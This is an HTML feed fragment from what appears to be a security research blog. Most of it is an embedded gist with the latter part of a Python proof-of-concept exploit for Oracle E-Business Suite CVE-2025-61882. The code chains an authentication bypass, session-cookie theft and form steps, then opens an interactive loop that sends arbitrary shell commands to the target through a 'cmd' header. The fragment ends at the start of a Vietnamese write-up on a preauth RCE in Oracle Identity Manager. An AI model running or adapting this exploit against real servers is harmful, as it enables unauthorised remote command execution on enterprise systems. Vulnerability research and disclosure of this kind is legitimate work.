          <td id="file-ebs_cve-2025-61882_poc-py-L311" class="blob-num js-line-number js-blob-rnum" data-line-number="311"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC311" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Exact ID 'N3:PreviewEnabled:0' not found. Searching loosely..."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L312" class="blob-num js-line-number js-blob-rnum" data-line-number="312"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC312" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">preview_link</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'a'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-k">lambda</span> <span class="pl-s1">x</span>: <span class="pl-s1">x</span> <span class="pl-c1">and</span> <span class="pl-s">'PreviewEnabled'</span> <span class="pl-c1">in</span> <span class="pl-s1">x</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L313" class="blob-num js-line-number js-blob-rnum" data-line-number="313"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC313" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L314" class="blob-num js-line-number js-blob-rnum" data-line-number="314"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC314" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">preview_link</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L315" class="blob-num js-line-number js-blob-rnum" data-line-number="315"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC315" class="blob-code blob-code-inner js-file-line">        <span class="pl-c"># print("[+] Found Preview Link.")</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L316" class="blob-num js-line-number js-blob-rnum" data-line-number="316"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC316" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">onclick_text</span> <span class="pl-c1">=</span> <span class="pl-s1">preview_link</span>.<span class="pl-c1">get</span>(<span class="pl-s">'onclick'</span>, <span class="pl-s">''</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L317" class="blob-num js-line-number js-blob-rnum" data-line-number="317"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC317" class="blob-code blob-code-inner js-file-line">        </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L318" class="blob-num js-line-number js-blob-rnum" data-line-number="318"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC318" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">match</span> <span class="pl-c1">=</span> <span class="pl-s1">re</span>.<span class="pl-c1">search</span>(<span class="pl-s">r"submitForm\('[^']+',\d+,\{(.+?)\}\)"</span>, <span class="pl-s1">onclick_text</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L319" class="blob-num js-line-number js-blob-rnum" data-line-number="319"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC319" class="blob-code blob-code-inner js-file-line">        </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L320" class="blob-num js-line-number js-blob-rnum" data-line-number="320"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC320" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s1">match</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L321" class="blob-num js-line-number js-blob-rnum" data-line-number="321"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC321" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">params_str</span> <span class="pl-c1">=</span> <span class="pl-s1">match</span>.<span class="pl-c1">group</span>(<span class="pl-c1">1</span>)            </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L322" class="blob-num js-line-number js-blob-rnum" data-line-number="322"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC322" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">pairs</span> <span class="pl-c1">=</span> <span class="pl-s1">params_str</span>.<span class="pl-c1">split</span>(<span class="pl-s">','</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L323" class="blob-num js-line-number js-blob-rnum" data-line-number="323"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC323" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">for</span> <span class="pl-s1">pair</span> <span class="pl-c1">in</span> <span class="pl-s1">pairs</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L324" class="blob-num js-line-number js-blob-rnum" data-line-number="324"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC324" class="blob-code blob-code-inner js-file-line">                <span class="pl-k">if</span> <span class="pl-s">':'</span> <span class="pl-c1">in</span> <span class="pl-s1">pair</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L325" class="blob-num js-line-number js-blob-rnum" data-line-number="325"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC325" class="blob-code blob-code-inner js-file-line">                    <span class="pl-s1">key</span>, <span class="pl-s1">val</span> <span class="pl-c1">=</span> <span class="pl-s1">pair</span>.<span class="pl-c1">split</span>(<span class="pl-s">':'</span>, <span class="pl-c1">1</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L326" class="blob-num js-line-number js-blob-rnum" data-line-number="326"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC326" class="blob-code blob-code-inner js-file-line">                    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L327" class="blob-num js-line-number js-blob-rnum" data-line-number="327"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC327" class="blob-code blob-code-inner js-file-line">                    <span class="pl-s1">key</span> <span class="pl-c1">=</span> <span class="pl-s1">key</span>.<span class="pl-c1">strip</span>().<span class="pl-c1">strip</span>(<span class="pl-s">"'"</span>).<span class="pl-c1">strip</span>(<span class="pl-s">'"'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L328" class="blob-num js-line-number js-blob-rnum" data-line-number="328"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC328" class="blob-code blob-code-inner js-file-line">                    <span class="pl-s1">val</span> <span class="pl-c1">=</span> <span class="pl-s1">val</span>.<span class="pl-c1">strip</span>().<span class="pl-c1">strip</span>(<span class="pl-s">"'"</span>).<span class="pl-c1">strip</span>(<span class="pl-s">'"'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L329" class="blob-num js-line-number js-blob-rnum" data-line-number="329"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC329" class="blob-code blob-code-inner js-file-line">                    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L330" class="blob-num js-line-number js-blob-rnum" data-line-number="330"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC330" class="blob-code blob-code-inner js-file-line">                    <span class="pl-s1">payload</span>[<span class="pl-s1">key</span>] <span class="pl-c1">=</span> <span class="pl-s1">val</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L331" class="blob-num js-line-number js-blob-rnum" data-line-number="331"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC331" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L332" class="blob-num js-line-number js-blob-rnum" data-line-number="332"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC332" class="blob-code blob-code-inner js-file-line">            <span class="pl-en">print</span>(<span class="pl-s">"[-] Could not regex parse the onclick event."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L333" class="blob-num js-line-number js-blob-rnum" data-line-number="333"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC333" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">return</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L334" class="blob-num js-line-number js-blob-rnum" data-line-number="334"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC334" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L335" class="blob-num js-line-number js-blob-rnum" data-line-number="335"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC335" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Error: Could not find the Preview Button in the HTML."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L336" class="blob-num js-line-number js-blob-rnum" data-line-number="336"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC336" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L337" class="blob-num js-line-number js-blob-rnum" data-line-number="337"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC337" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L338" class="blob-num js-line-number js-blob-rnum" data-line-number="338"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC338" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">preview_format_select</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'select'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-s">'PreviewFormat'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L339" class="blob-num js-line-number js-blob-rnum" data-line-number="339"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC339" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">preview_format_select</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L340" class="blob-num js-line-number js-blob-rnum" data-line-number="340"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC340" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">selected_opt</span> <span class="pl-c1">=</span> <span class="pl-s1">preview_format_select</span>.<span class="pl-c1">find</span>(<span class="pl-s">'option'</span>, <span class="pl-s1">selected</span><span class="pl-c1">=</span><span class="pl-c1">True</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L341" class="blob-num js-line-number js-blob-rnum" data-line-number="341"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC341" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-c1">not</span> <span class="pl-s1">selected_opt</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L342" class="blob-num js-line-number js-blob-rnum" data-line-number="342"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC342" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">selected_opt</span> <span class="pl-c1">=</span> <span class="pl-s1">preview_format_select</span>.<span class="pl-c1">find</span>(<span class="pl-s">'option'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L343" class="blob-num js-line-number js-blob-rnum" data-line-number="343"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC343" class="blob-code blob-code-inner js-file-line">        </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L344" class="blob-num js-line-number js-blob-rnum" data-line-number="344"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC344" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s1">selected_opt</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L345" class="blob-num js-line-number js-blob-rnum" data-line-number="345"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC345" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">p_fmt_val</span> <span class="pl-c1">=</span> <span class="pl-s1">selected_opt</span>.<span class="pl-c1">get</span>(<span class="pl-s">'value'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L346" class="blob-num js-line-number js-blob-rnum" data-line-number="346"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC346" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">payload</span>[<span class="pl-s">'PreviewFormat'</span>] <span class="pl-c1">=</span> <span class="pl-s1">p_fmt_val</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L347" class="blob-num js-line-number js-blob-rnum" data-line-number="347"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC347" class="blob-code blob-code-inner js-file-line">            <span class="pl-c"># print(f"[+] Setting PreviewFormat: {p_fmt_val}")</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L348" class="blob-num js-line-number js-blob-rnum" data-line-number="348"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC348" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L349" class="blob-num js-line-number js-blob-rnum" data-line-number="349"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC349" class="blob-code blob-code-inner js-file-line">    <span class="pl-en">print</span>(<span class="pl-s">"[*] Sending POST request to Preview Template..."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L350" class="blob-num js-line-number js-blob-rnum" data-line-number="350"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC350" class="blob-code blob-code-inner js-file-line">    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L351" class="blob-num js-line-number js-blob-rnum" data-line-number="351"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC351" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">try</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L352" class="blob-num js-line-number js-blob-rnum" data-line-number="352"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC352" class="blob-code blob-code-inner js-file-line">        <span class="pl-c1">HEADERS</span>.<span class="pl-c1">update</span>({<span class="pl-s">"cmd"</span>: <span class="pl-s">"echo OK"</span>})</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L353" class="blob-num js-line-number js-blob-rnum" data-line-number="353"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC353" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">r</span> <span class="pl-c1">=</span> <span class="pl-s1">requests</span>.<span class="pl-c1">post</span>(<span class="pl-s1">full_url</span>, <span class="pl-s1">headers</span><span class="pl-c1">=</span><span class="pl-c1">HEADERS</span>, <span class="pl-s1">cookies</span><span class="pl-c1">=</span><span class="pl-c1">COOKIES</span>, <span class="pl-s1">data</span><span class="pl-c1">=</span><span class="pl-s1">payload</span>, <span class="pl-s1">verify</span><span class="pl-c1">=</span><span class="pl-c1">False</span>, <span class="pl-s1">proxies</span><span class="pl-c1">=</span><span class="pl-c1">PROXY</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L354" class="blob-num js-line-number js-blob-rnum" data-line-number="354"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC354" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s">"OK"</span> <span class="pl-c1">in</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L355" class="blob-num js-line-number js-blob-rnum" data-line-number="355"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC355" class="blob-code blob-code-inner js-file-line">             <span class="pl-en">print</span>(<span class="pl-s">"[!] SUCCESS"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L356" class="blob-num js-line-number js-blob-rnum" data-line-number="356"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC356" class="blob-code blob-code-inner js-file-line">             <span class="pl-k">while</span> <span class="pl-c1">True</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L357" class="blob-num js-line-number js-blob-rnum" data-line-number="357"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC357" class="blob-code blob-code-inner js-file-line">                 <span class="pl-s1">cmd</span> <span class="pl-c1">=</span> <span class="pl-en">input</span>(<span class="pl-s">"cmd&gt; "</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L358" class="blob-num js-line-number js-blob-rnum" data-line-number="358"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC358" class="blob-code blob-code-inner js-file-line">                 <span class="pl-k">if</span> <span class="pl-s1">cmd</span>.<span class="pl-c1">lower</span>() <span class="pl-c1">in</span> [<span class="pl-s">'exit'</span>, <span class="pl-s">'quit'</span>]:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L359" class="blob-num js-line-number js-blob-rnum" data-line-number="359"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC359" class="blob-code blob-code-inner js-file-line">                     <span class="pl-k">break</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L360" class="blob-num js-line-number js-blob-rnum" data-line-number="360"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC360" class="blob-code blob-code-inner js-file-line">                 </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L361" class="blob-num js-line-number js-blob-rnum" data-line-number="361"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC361" class="blob-code blob-code-inner js-file-line">                 <span class="pl-c1">HEADERS</span>.<span class="pl-c1">update</span>({<span class="pl-s">"cmd"</span>: <span class="pl-s1">cmd</span>})</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L362" class="blob-num js-line-number js-blob-rnum" data-line-number="362"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC362" class="blob-code blob-code-inner js-file-line">                 <span class="pl-s1">r</span> <span class="pl-c1">=</span> <span class="pl-s1">requests</span>.<span class="pl-c1">post</span>(<span class="pl-s1">full_url</span>, <span class="pl-s1">headers</span><span class="pl-c1">=</span><span class="pl-c1">HEADERS</span>, <span class="pl-s1">cookies</span><span class="pl-c1">=</span><span class="pl-c1">COOKIES</span>, <span class="pl-s1">data</span><span class="pl-c1">=</span><span class="pl-s1">payload</span>, <span class="pl-s1">verify</span><span class="pl-c1">=</span><span class="pl-c1">False</span>, <span class="pl-s1">proxies</span><span class="pl-c1">=</span><span class="pl-c1">PROXY</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L363" class="blob-num js-line-number js-blob-rnum" data-line-number="363"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC363" class="blob-code blob-code-inner js-file-line">                 <span class="pl-en">print</span>(<span class="pl-s1">r</span>.<span class="pl-c1">text</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L364" class="blob-num js-line-number js-blob-rnum" data-line-number="364"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC364" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L365" class="blob-num js-line-number js-blob-rnum" data-line-number="365"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC365" class="blob-code blob-code-inner js-file-line">             <span class="pl-en">print</span>(<span class="pl-s">"[-] Failed to preview template or no output returned. Check manually."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L366" class="blob-num js-line-number js-blob-rnum" data-line-number="366"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC366" class="blob-code blob-code-inner js-file-line">             </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L367" class="blob-num js-line-number js-blob-rnum" data-line-number="367"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC367" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L368" class="blob-num js-line-number js-blob-rnum" data-line-number="368"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC368" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L369" class="blob-num js-line-number js-blob-rnum" data-line-number="369"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC369" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">except</span> <span class="pl-v">Exception</span> <span class="pl-k">as</span> <span class="pl-s1">e</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L370" class="blob-num js-line-number js-blob-rnum" data-line-number="370"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC370" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">f"[-] Request failed: <span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">e</span><span class="pl-kos">}</span></span>"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L371" class="blob-num js-line-number js-blob-rnum" data-line-number="371"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC371" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L372" class="blob-num js-line-number js-blob-rnum" data-line-number="372"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC372" class="blob-code blob-code-inner js-file-line"><span class="pl-k">if</span> <span class="pl-s1">__name__</span> <span class="pl-c1">==</span> <span class="pl-s">"__main__"</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L373" class="blob-num js-line-number js-blob-rnum" data-line-number="373"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC373" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">url</span> <span class="pl-c1">=</span> <span class="pl-en">input</span>(<span class="pl-s">"Enter target url (ex:http://example.com): "</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L374" class="blob-num js-line-number js-blob-rnum" data-line-number="374"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC374" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-en">check</span>(<span class="pl-s1">url</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L375" class="blob-num js-line-number js-blob-rnum" data-line-number="375"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC375" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">username</span> <span class="pl-c1">=</span> <span class="pl-en">input</span>(<span class="pl-s">"Enter username to authenticate as (ex: sysadmin): "</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L376" class="blob-num js-line-number js-blob-rnum" data-line-number="376"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC376" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">sid</span> <span class="pl-c1">=</span> <span class="pl-en">auth_bypass</span>(<span class="pl-s1">url</span>, <span class="pl-s1">username</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L377" class="blob-num js-line-number js-blob-rnum" data-line-number="377"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC377" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s1">sid</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L378" class="blob-num js-line-number js-blob-rnum" data-line-number="378"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC378" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">cookies</span> <span class="pl-c1">=</span> <span class="pl-en">get_cookies</span>(<span class="pl-s1">url</span>, <span class="pl-s1">sid</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L379" class="blob-num js-line-number js-blob-rnum" data-line-number="379"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC379" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">if</span> <span class="pl-s1">cookies</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L380" class="blob-num js-line-number js-blob-rnum" data-line-number="380"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC380" class="blob-code blob-code-inner js-file-line">                <span class="pl-c1">COOKIES</span>.<span class="pl-c1">update</span>(<span class="pl-s1">cookies</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L381" class="blob-num js-line-number js-blob-rnum" data-line-number="381"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC381" class="blob-code blob-code-inner js-file-line">                <span class="pl-s1">html1</span> <span class="pl-c1">=</span> <span class="pl-en">step_1</span>(<span class="pl-s1">url</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L382" class="blob-num js-line-number js-blob-rnum" data-line-number="382"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC382" class="blob-code blob-code-inner js-file-line">                <span class="pl-k">if</span> <span class="pl-s1">html1</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L383" class="blob-num js-line-number js-blob-rnum" data-line-number="383"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC383" class="blob-code blob-code-inner js-file-line">                    <span class="pl-s1">html2</span> <span class="pl-c1">=</span> <span class="pl-en">step_2</span>(<span class="pl-s1">url</span>, <span class="pl-s1">html1</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L384" class="blob-num js-line-number js-blob-rnum" data-line-number="384"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC384" class="blob-code blob-code-inner js-file-line">                    <span class="pl-k">if</span> <span class="pl-s1">html2</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L385" class="blob-num js-line-number js-blob-rnum" data-line-number="385"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC385" class="blob-code blob-code-inner js-file-line">                        <span class="pl-s1">html3</span> <span class="pl-c1">=</span> <span class="pl-en">step_3</span>(<span class="pl-s1">url</span>, <span class="pl-s1">html2</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L386" class="blob-num js-line-number js-blob-rnum" data-line-number="386"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC386" class="blob-code blob-code-inner js-file-line">                        <span class="pl-k">if</span> <span class="pl-s1">html3</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L387" class="blob-num js-line-number js-blob-rnum" data-line-number="387"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC387" class="blob-code blob-code-inner js-file-line">                            <span class="pl-en">step_4</span>(<span class="pl-s1">url</span>,<span class="pl-s1">html3</span>)    </td>
        </tr>
  </tbody></table>
</div>


    </div>

  </div>
</div>

      </div>
      <div class="gist-meta">
        <a href="https://gist.github.com/testanull/a897473577b8650932221172e50304ce/raw/4fc306d2f6ae6a88664f43faf57e5bf2779ade9b/EBS_CVE-2025-61882_poc.py" style="float:right" class="Link--inTextBlock">view raw</a>
        <a href="https://gist.github.com/testanull/a897473577b8650932221172e50304ce#file-ebs_cve-2025-61882_poc-py" class="Link--inTextBlock">
          EBS_CVE-2025-61882_poc.py
        </a>
        hosted with &#10084; by <a class="Link--inTextBlock" href="https://github.com">GitHub</a>
      </div>
    </div>
</div>
</div><p>Thanks for reading!</p><p></p>]]></content:encoded></item><item><title><![CDATA[Preauth RCE in Oracle Identity Manager (CVE-2025-61757)]]></title><description><![CDATA[Intro Tu&#7847;n tr&#432;&#7899;c Searchlight Cyber c&#243; l&#234;n b&#224;i ph&#226;n t&#237;ch (here) v&#7873; m&#7897;t l&#7895; h&#7893;ng preauth RCE m&#7899;i c&#7911;a Oracle Identity Manager - CVE-2025-61757.]]></description><link>https://vred.mbbank.com.vn/p/preauth-rce-in-oracle-identity-manager</link><guid isPermaLink="false">https://vred.mbbank.com.vn/p/preauth-rce-in-oracle-identity-manager</guid><dc:creator><![CDATA[mugmug]]></dc:creator><pubDate>Mon, 01 Dec 2025 14:54:15 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Paho!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Intro</strong></h2><p>Tu&#7847;n tr&#432;&#7899;c Searchlight Cyber c&#243; l&#234;n b&#224;i ph&#226;n t&#237;ch (<a href="https://slcyber.io/research-center/breaking-oracles-identity-manager-pre-auth-rce/">here</a>) v&#7873; m&#7897;t l&#7895; h&#7893;ng preauth RCE m&#7899;i c&#7911;a Oracle Identity Manager - CVE-2025-61757. &#272;&#226;y l&#224; m&#7897;t chain g&#7891;m hai bug l&#224; authentication bypass v&#224; groovy injection. Tuy 